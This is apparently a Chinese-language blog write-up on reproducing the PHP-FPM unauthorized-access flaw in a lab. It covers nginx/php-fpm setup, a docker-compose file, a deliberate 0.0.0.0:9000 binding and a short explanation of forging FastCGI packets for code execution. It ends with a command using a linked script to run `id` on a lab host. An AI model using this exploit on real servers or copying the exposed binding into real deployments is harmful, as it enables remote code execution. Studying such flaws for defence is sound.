自己的知识面很窄,感觉原来的学习总是迈不开步子,以至于,自己对linux的很多服务器的配置都很不明确,所以还是得好好学习,折腾环境也是很重要的,来手动的配置一下php-fpm未授权访问的环境。
环境搭建
使用linux搭建nginx和php fpm的环境
先是安装
代码语言:javascript复制$ sudo apt-get install nginx
$ sudo apt-get install mysql
$ sudo apt-get install php7.0 php7.0-fpm php7.0-mysql
然后是配置在如下路径的文件中
代码语言:javascript复制/etc/nginx/sites-available/default
配置url重写和入口文件
代码语言:javascript复制 location / {
if (-f $request_filename/index.html){
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php){
rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
rewrite (.*) /index.php;
}
root /var/www/html;
index index.php;
}
配置代理端口
代码语言:javascript复制 location ~ .php$ {
root /var/www/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
配置链接方式
在如下路径的文件
代码语言:javascript复制/etc/php/7.0/fpm/pool.d/www.conf
代码语言:javascript复制listen = 0.0.0.0:9000#为了实现漏洞 未授权访问因此的来
或者直接用docker-compose
使用已经搭建好的了环境
代码语言:javascript复制version: '2'
services:
php:
image: php:fpm
ports:
- "9000:9000"
保存为docker-compose.yml
代码语言:javascript复制docker-compose up -d
漏洞分析
nginx通过fastcgi协议与php-fpm通信。那么理论上,我们可以伪造fastcgi协议包,欺骗php-fpm进程,从而执行任意代码
如果主机的管理员不小心将
代码语言:javascript复制listen = 127.0.0.1:9000
配置成了
代码语言:javascript复制listen = 0.0.0.0:9000
那就说明任何人都能访问9000 端口
简而言之,恶意的用户伪造了fastcgi发包,构造环境变量执行我们传入的代码,就可以实现rce。
漏洞复现
环境好搭建,p牛的原理写的比较详细,这里利用p牛的脚本简单复现一下:
代码语言:javascript复制https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
代码语言:javascript复制 python fpm.py 192.168.44.141 /var/www/html/1.php -c "<?php echo `id`; exit;?>"
参考
http://configurebox.xyz/post/10.html
https://evoa.me/index.php/archives/52/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html